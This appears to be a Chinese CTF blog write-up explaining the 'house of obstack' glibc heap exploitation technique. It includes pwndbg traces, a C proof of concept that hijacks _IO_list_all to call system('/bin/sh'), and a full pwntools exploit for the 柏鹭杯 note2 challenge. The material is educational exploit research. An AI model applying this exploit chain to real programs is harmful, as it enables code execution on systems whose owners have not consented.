前言 又是从之前文档里面扒出来的一个总结,再来水一篇博客。这篇应该写的非常早了,大概是 23 年 7 月写的,当时还在卷 glibc堆,对这个 obstack 的链子印象挺深的。
house of obstack
是目前网上较多的叫法,它由国外 repr 提出,由于不确定作者给它起的名字到底是什么,姑且称它为 house of obstack
。它与 house of apple
相似,主要是触发的调用链变了,但思想不变。相较于 house of apple
的优点是在 glibc2.36
依然可以使用并且布置起来更简单一些。
概述 house of obstack
是 large bin attack
(或能达到同样效果的手法也可以)+ FSOP
组合出来的攻击,通过 large bin attack
向 _IO_list_all
中写入一个堆地址以此来伪造一个 IO_FILE 。在 glibc2.23 之后的版本针对 IO_FILE 结构体的 vtable 地址做了检查,该手法通过小幅度改变 vtable 地址,让执行流偏离了正常的调用链,通过伪造 IO_FILE 结构体中的某些字段,最终实现任意地址执行且参数可控的效果.
利用条件为:
可以泄露 libc
地址和堆地址
可以使用任意地址写一个堆地址(通常是使用 large bin attack
)
可以从 main
函数返回或者调用 exit
函数
原理 说明: 以下的 glibc
源代码均来自 glibc-2.36
先来看下 exit 函数的宏观调用链
exit => __run_exit_handlers => _IO_cleanup => _IO_flush_all_lockp
第一次去改变 exit
正常的执行流是在这里的 _IO_OVERFLOW
这个宏 ,它位于 _IO_flush_all_lockp
函数中(如下)
int _IO_flush_all_lockp (int do_lock) { int result = 0 ; FILE *fp; ...... if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; ...... return result; }
伪造 IO_FILE
结构体时, vtable
也是可控的(对这个地址做了范围的合法性检查),将原本 vtable
中的 _IO_file_jumps
改成 _IO_obstack_jumps
可以绕过检查(二者的距离很近)
_IO_OVERFLOW
寻找的函数指针是位于起始地址(正常情况下的 _IO_file_jumps
)偏移 0x18
的位置,因此我们只要将正常的 _IO_file_jumps
改成 _IO_obstack_jumps+32
,实际上 _IO_OVERFLOW
执行的就是 _IO_obstack_jumps+32+0x18
的函数指针,该位置的函数指针为 _IO_obstack_xsputn
(如下)
pwndbg> p &_IO_obstack_jumps $16 = (const struct _IO_jump_t *) 0x7ffff7e163c0 <_IO_obstack_jumps> pwndbg> telescope 0x7ffff7e163c0 +0x18 +32 00 :0000 │ 0x7ffff7e163f8 (_IO_obstack_jumps+56 ) —▸ 0x7ffff7c88590 (_IO_obstack_xsputn) ◂— endbr64
根据上面所说的伪造完成后(先不考虑要绕过检查的字段),此时程序会执行到 _IO_obstack_xsputn
函数上,从该函数开始会存在一条调用链如下
_IO_obstack_xsputn => _obstack_newchunk => CALL_CHUNKFUN => (*(h)->chunkfun)((h)->extra_arg, (size))
如果执行 (*(h)->chunkfun)((h)->extra_arg, (size))
时, h->chunkfun
是可控的地址,那就相当于能完全控制执行流了。下面通过调试来判断 CALL_CHUNKFUN
宏被调用时h
是什么
RAX 0xfbad2086 RBX 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086 RCX 0x0 RDX 0x0 RDI 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086 RSI 0x1 R8 0x7fffffffdc80 —▸ 0x7ffff7e1af00 (initial) ◂— 0x0 R9 0x20 R10 0x0 R11 0x7fffffffdbb0 —▸ 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086 *R12 0xfbad2086 R13 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086 R14 0x0 R15 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086 RBP 0x2 RSP 0x7fffffffdbb0 —▸ 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086 *RIP 0x7ffff7ca773e (_obstack_newchunk+62 ) ◂— mov rax, qword ptr [rdi + 0x38 ] ────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────────────── 0x7ffff7ca772b <_obstack_newchunk+43 > movsxd rdx, dword ptr [rdi + 0x30 ] 0x7ffff7ca772f <_obstack_newchunk+47 > lea r12, [rax + rdx + 0x64 ] 0x7ffff7ca7734 <_obstack_newchunk+52 > mov rax, qword ptr [rdi] 0x7ffff7ca7737 <_obstack_newchunk+55 > cmp r12, rax 0x7ffff7ca773a <_obstack_newchunk+58 > cmovl r12, rax ► 0x7ffff7ca773e <_obstack_newchunk+62 > mov rax, qword ptr [rdi + 0x38 ] 0x7ffff7ca7742 <_obstack_newchunk+66 > test byte ptr [rdi + 0x50 ], 1 0x7ffff7ca7746 <_obstack_newchunk+70 > je _obstack_newchunk+448 <_obstack_newchunk+448 > 0x7ffff7ca774c <_obstack_newchunk+76 > mov rdi, qword ptr [rdi + 0x48 ] 0x7ffff7ca7750 <_obstack_newchunk+80 > mov rsi, r12 0x7ffff7ca7753 <_obstack_newchunk+83 > call rax ─────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────────── In file: /home/zikh/Desktop/source_code/glibc-2.35 /malloc /obstack.c 256 new_size = (obj_size + length) + (obj_size >> 3 ) + h->alignment_mask + 100 ; 257 if (new_size < h->chunk_size) 258 new_size = h->chunk_size; 259 260 ► 261 new_chunk = CALL_CHUNKFUN (h, new_size); 262 if (!new_chunk) 263 (*obstack_alloc_failed_handler)(); 264 h->chunk = new_chunk; 265 new_chunk->prev = old_chunk; 266 new_chunk->limit = h->chunk_limit = (char *) new_chunk + new_size;
上面正在执行的 mov rax, qword ptr [rdi + 0x38]
是通过 h
来获取 h->chunkfun
的值,此时的 h
就是 rdi
_IO_2_1_stderr_
首地址( 这里我并没有去伪造一个新的 IO_FILE ,而是在原本的 _IO_2_1_stderr_
结构体的基础上进行了部分字段的修改 ,也就是原本的 _IO_2_1_stderr_
的地址上伪造了 _IO_obstack_file
结构体),因为我们最初需要劫持 _IO_list_all
,所以遍历的第一个 IO_FILE
结构体都是我们可控的,自然 h->chunkfun
也是可控的
再来看下 (*(h)->chunkfun)((h)->extra_arg, (size))
中的参数 (h)->extra_arg
如何控制,单步调试到赋值参数的位置(如下)
RAX 0x555555555179 (backdoor) ◂— endbr64 RBX 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086 RCX 0x0 RDX 0x0 RDI 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086 RSI 0x1 R8 0x7fffffffdc80 —▸ 0x7ffff7e1af00 (initial) ◂— 0x0 R9 0x20 R10 0x0 R11 0x7fffffffdbb0 —▸ 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086 R12 0xfbad2086 R13 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086 R14 0x0 R15 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086 RBP 0x2 RSP 0x7fffffffdbb0 —▸ 0x7ffff7e1a6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086 *RIP 0x7ffff7ca774c (_obstack_newchunk+76 ) ◂— mov rdi, qword ptr [rdi + 0x48 ] ────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────────────── 0x7ffff7ca7737 <_obstack_newchunk+55 > cmp r12, rax 0x7ffff7ca773a <_obstack_newchunk+58 > cmovl r12, rax 0x7ffff7ca773e <_obstack_newchunk+62 > mov rax, qword ptr [rdi + 0x38 ] 0x7ffff7ca7742 <_obstack_newchunk+66 > test byte ptr [rdi + 0x50 ], 1 0x7ffff7ca7746 <_obstack_newchunk+70 > je _obstack_newchunk+448 <_obstack_newchunk+448 > ► 0x7ffff7ca774c <_obstack_newchunk+76 > mov rdi, qword ptr [rdi + 0x48 ] 0x7ffff7ca7750 <_obstack_newchunk+80 > mov rsi, r12 0x7ffff7ca7753 <_obstack_newchunk+83 > call rax 0x7ffff7ca7755 <_obstack_newchunk+85 > mov r13, rax 0x7ffff7ca7758 <_obstack_newchunk+88 > test r13, r13 0x7ffff7ca775b <_obstack_newchunk+91 > je _obstack_newchunk+465 <_obstack_newchunk+465 > ─────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────────── In file: /home/zikh/Desktop/source_code/glibc-2.35 /malloc /obstack.c 256 new_size = (obj_size + length) + (obj_size >> 3 ) + h->alignment_mask + 100 ; 257 if (new_size < h->chunk_size) 258 new_size = h->chunk_size; 259 260 ► 261 new_chunk = CALL_CHUNKFUN (h, new_size); 262 if (!new_chunk) 263 (*obstack_alloc_failed_handler)(); 264 h->chunk = new_chunk; 265 new_chunk->prev = old_chunk; 266 new_chunk->limit = h->chunk_limit = (char *) new_chunk + new_size;
此时的 mov rdi, qword ptr [rdi + 0x48]
是进行参数的赋值, rdi
现在为 _IO_2_1_stderr_
,这意味着参数也是我们可控的。最终只要能让执行流走到这里,就能够任意地址执行并且参数可控(后续无论是执行 system("/bin/sh")
还是走 orw
都可以)
下面来列一下,执行流走到这里都需要哪些字段进行伪造
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF)
根据上面的部分得知,fp->_mode <= 0
和 fp->_IO_write_ptr > fp->_IO_write_base
要同时满足
_IO_obstack_xsputn (FILE *fp, const void *data, size_t n) { struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack; if (fp->_IO_write_ptr + n > fp->_IO_write_end) { int size; obstack_blank_fast (obstack, fp->_IO_write_ptr - fp->_IO_write_end); obstack_grow (obstack, data, n); ...... }
根据这部分代码得知 if (fp->_IO_write_ptr + n > fp->_IO_write_end)
要满足
# define obstack_grow(OBSTACK, where, length) \ __extension__ \ ({ struct obstack *__o = (OBSTACK); \ int __len = (length); \ if (__o->next_free + __len > __o->chunk_limit) \ _obstack_newchunk (__o, __len); \ memcpy (__o->next_free, where, __len); \ __o->next_free += __len; \ (void) 0; })
这个 obstack_grow
宏要触发到 _obstack_newchunk
,需要满足条件 __o->next_free + __len > __o->chunk_limit
# define CALL_CHUNKFUN(h, size) \ (((h)->use_extra_arg) \ ? (*(h)->chunkfun)((h)->extra_arg, (size)) \ : (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))
如果想控制 rdi
的话,需要触发 (*(h)->chunkfun)((h)->extra_arg, (size))
。这里使用了一个三目运算符,当 ((h)->use_extra_arg)
为 TRUE
时,参数就为可控
总结一下,需要伪造的字段
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
fp->_IO_write_ptr + n > fp->_IO_write_end
__o->next_free + __len > __o->chunk_limit
((h)->use_extra_arg) == TRUE
上面有一些字段不属于 _IO_FILE
结构体,它们是 obstack
结构体中的,如下
struct obstack /* control current object in current chunk */{ long chunk_size; struct _obstack_chunk *chunk ; char *object_base; char *next_free; char *chunk_limit; union { PTR_INT_TYPE tempint; void *tempptr; } temp; int alignment_mask; struct _obstack_chunk *(*chunkfun ) (void *, long ); void (*freefun) (void *, struct _obstack_chunk *); void *extra_arg; unsigned use_extra_arg : 1 ; unsigned maybe_empty_object : 1 ; unsigned alloc_failed : 1 ; };
它和 _IO_FILE_plus
结构体都属于 _IO_obstack_file
,这里只需要知道它们的关系即可。
struct _IO_obstack_file { struct _IO_FILE_plus file ; struct obstack *obstack ; };
示例 POC
#include <stdio.h> #include <stdlib.h> #include <string.h> int main () { size_t libc_base=(size_t )&printf -0x60770 ; printf ("libc_base @ 0x%lx\n" ,libc_base); size_t system_addr=libc_base+0x50d60 ; printf ("system address @ 0x%lx\n" ,system_addr); size_t bin_sh_addr=libc_base+0x1d8698 ; printf ("/bin/sh address @ 0x%lx\n" ,bin_sh_addr); size_t *io_list_all=(size_t *)(libc_base+0x21a680 ); printf ("io_list_all address @ %p\n" ,io_list_all); size_t io_obstack_jumps=libc_base+0x2163c0 ; printf ("io_obstack_jumps address @ 0x%lx\n" ,io_obstack_jumps); size_t *ptr=malloc (0x400 ); *(ptr + (0x18 /8 )) = 1 ; *(ptr + (0x20 /8 )) = 0 ; *(ptr + (0x28 /8 )) = 0x1 ; *(ptr + (0x30 /8 )) = 0 ; *(ptr + (0x38 /8 )) = (size_t )(system_addr); *(ptr + (0x48 /8 )) = bin_sh_addr; *(ptr + (0x50 /8 )) = 1 ; *(ptr + (0xd8 /8 )) = (size_t )(io_obstack_jumps+32 ); *(ptr + (0xe0 /8 )) = (size_t )ptr; io_list_all[0 ]=(size_t )ptr; exit (0 ); }
这个 POC
是把 _IO_FILE_plus
和 obstack
结构体重叠布置在一起了(在实际的攻击中,重叠布置在一起,会省下很多字节,减少 payload
的长度)。该攻击最终通过 FSOP
触发,在 exit
函数执行时,刷新了 _IO_list_all
链表中的所有文件流,刷新时调用了 _IO_overflow
,至此执行流偏离了正常的调用链,逐步被劫持为我们指定的地址。
2022柏鹭杯-note2 一时间找不到很合适的题目,这里以 2022柏鹭杯-note2 作为例题
基本信息 zikh@Pwner-machine:~/Desktop/pwn2$ checksec note2 [*] '/home/zikh/Desktop/pwn2/note2' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
本题存在一个 UAF
漏洞,并且可以无限次的使用 add
和 delete
show
函数,size
被限定到了 0x200
以下,并且可以触发 exit
函数退出。( libc
版本为 2.35
,移除了各类 hook
)
解题思路 因为没有 edit
函数,因此我们考虑 double free
,但由于 key
机制的存在,无法直接在 tcache bin
直接打 double free
,解决方法有两种,方法一是 house of botcake (本题可以打通,不过主要说一下第二个方法),方法二是填满 tcache bin
,然后在 fast bin
中做出 double free
,再打 tcache poisoning
将 IO_list_all
申请出来写入堆地址,从而触发最后的 house of obstack
。(具体 fastbin
中做出的 double free
是如何打出 tcache poisoning
的可以参考这篇 文章 , safe-Linking
机制的绕过本文也不做提及)
house of obstack
的各个字段布局在下面的 EXP
中都进行了标注,并且上文也进行了详细的分析,所以具体的利用不再详细描述
EXP from pwn import *p=process("./note2" ) libc=ELF("libc.so.6" ) def add (index,size,content ): p.sendlineafter(b"> " ,str (1 ).encode()) p.sendlineafter(b"> " ,str (index).encode()) p.sendlineafter(b"> " ,str (size).encode()) p.sendlineafter(b"Enter content: " ,content) def show (index ): p.sendlineafter(b"> " ,str (3 ).encode()) p.sendlineafter(b"> " ,str (index).encode()) def delete (index ): p.sendlineafter(b"> " ,str (2 ).encode()) p.sendlineafter(b"> " ,str (index).encode()) for i in range (9 ): add(i,0x100 ,b'a' ) for i in range (8 ): delete(i) show(7 ) libc_base=u64(p.recvuntil(b"\x7f" )[-6 :].ljust(8 ,b'\x00' ))-0x219ce0 print ('libc_base===>' ,hex (libc_base))for i in range (8 ): add(i,0x100 ,'a' ) for i in range (9 ): add(i,0x60 ,'a' ) delete(0 ) show(0 ) heap_base=(u64(p.recv(5 ).ljust(8 ,b'\x00' )))<<12 print ('heap_base===>' ,hex (heap_base))io_obstack_jumps=libc_base+0x2163c0 sys_addr=libc_base+0x50d60 heap_addr=0x1020 +heap_base io_file=p64(0 ) io_file+=p64(1 ) io_file+=p64(0 ) io_file+=p64(1 ) io_file+=p64(0 ) io_file+=p64(sys_addr) io_file+=p64(0 ) io_file+=p64(heap_addr-0x10 +0xe8 ) io_file+=p64(1 ) io_file+=p64(0 )*16 io_file+=p64(io_obstack_jumps+0x20 ) io_file+=p64(heap_addr-0x10 ) io_file+=b'/bin/sh\x00' add(9 ,0x200 ,io_file) for i in range (1 ,7 ): delete(i) delete(7 ) delete(8 ) delete(7 ) for i in range (7 ): add(i,0x60 ,'a' ) io_list_all=((heap_base+0xf40 )>>12 )^(libc_base+libc.symbols['_IO_list_all' ]) add(7 ,0x60 ,p64(io_list_all)) add(0 ,0x60 ,'a' ) add(0 ,0x60 ,'a' ) add(0 ,0x60 ,p64(heap_addr-0x10 )) p.sendlineafter(b"> " ,str (4 )) p.interactive()
参考 SECCON CTF 2022 Quals] babyfile | repr (nasm.re)
一条新的glibc IO_FILE利用链:_IO_obstack_jumps利用分析 - 7resp4ss - 博客园 (cnblogs.com)